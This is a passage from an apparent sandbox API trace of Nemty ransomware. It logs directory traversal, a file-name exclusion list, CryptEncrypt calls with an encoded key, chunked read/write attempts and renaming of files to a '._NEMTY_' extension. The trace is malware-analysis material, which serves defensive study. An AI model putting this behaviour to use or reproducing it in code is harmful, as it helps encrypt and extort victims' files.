lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.857] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.857] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.866] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.866] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.866] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.875] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.875] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.875] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.883] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.883] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.883] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0066.889] CloseHandle (hObject=0xffffffff) returned 0 [0066.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0066.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0066.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0066.889] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0066.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0066.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0066.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0066.889] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0066.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0066.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0066.889] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-highlight.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-highlight.png._nemty_kgobjgd_")) returned 0 [0066.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0066.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0066.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0066.889] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0066.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0066.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0066.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0066.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0066.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0066.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.890] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2=".") returned 1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="..") returned 1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="...") returned 1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="windows") returned -1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="$RECYCLE.BIN") returned 1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="rsa") returned -1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="NTDETECT.COM") returned -1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="ntldr") returned -1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="MSDOS.SYS") returned -1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="IO.SYS") returned -1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="boot.ini") returned -1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="boot.ini") returned -1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="AUTOEXEC.BAT") returned -1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="ntuser.dat") returned -1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="desktop.ini") returned -1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="CONFIG.SYS") returned -1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="RECYCLER") returned -1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="BOOTSECT.BAK") returned -1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="bootmgr") returned -1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="programdata") returned -1 [0066.890] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="appdata") returned -1 [0066.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-mask.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0066.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-mask.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-image-mask.png", lpUsedDefaultChar=0x0) returned 25 [0066.890] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.890] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0066.890] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-mask.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0066.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-mask.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-image-mask.png", lpUsedDefaultChar=0x0) returned 25 [0066.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0066.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0066.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-mask.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0066.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0066.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-mask.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-image-mask.png", lpUsedDefaultChar=0x0) returned 25 [0066.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-mask.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0066.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0066.891] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="16_9-frame-image-mask.png", cchWideChar=25, lpMultiByteStr=0x4f9ed58, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="16_9-frame-image-mask.png", lpUsedDefaultChar=0x0) returned 25 [0066.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0066.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0066.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94328 [0066.891] Sleep (dwMilliseconds=0x5) [0066.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdb86ae10, dwHighDateTime=0x1d561e7)) [0066.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xdb86ae10, dwHighDateTime=0x1d561e7)) [0066.906] GetLastError () returned 0x5 [0066.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0066.906] GetLastError () returned 0x5 [0066.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0066.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0066.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0066.907] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0066.907] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0066.907] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0066.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0066.907] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="2qQe9RbxQIh/qbarTtSv9bhSxJzf6cewE3YbewmPdlkVD9Z0irNj8JJszJ5ykCwz\r\nJesW9KgP/GWkYrwUZtHHa6QVrRrmxYkgex2HiaMGcbFf1HuaOmKo6bhs6r8Kxenu\r\nea8TfpXuy7K8vFIKQupU/jc2LhVW4cA/h+qyDrA+/RLey4X6zanu4wh3IsNCJLGd\r\njhCwm0kOikUgGEFLlh351Mw4a/5v6ctnv+bqecnX3urtA4THA7tVParYvdJ+fy06\r\n0T/L/EyVIwdpu3l4PnhgYJ0r/g4D4SVQhujXDTgzvqTrDrl1Tr57k3we1W2Vmzcs\r\n2Ycdh0L6zIJEG7akrdAacA==\r\n", pcchString=0x653e91c) returned 1 [0066.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0066.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0066.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0066.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0066.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0066.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0066.907] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.907] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0066.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0066.907] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.907] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.917] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.917] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.917] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.926] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.926] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.935] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.935] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.935] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.945] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.954] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.954] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.954] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.964] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.964] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.964] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.973] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.973] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.983] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0066.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.992] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0066.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0066.992] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0067.002] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0067.002] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0067.007] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 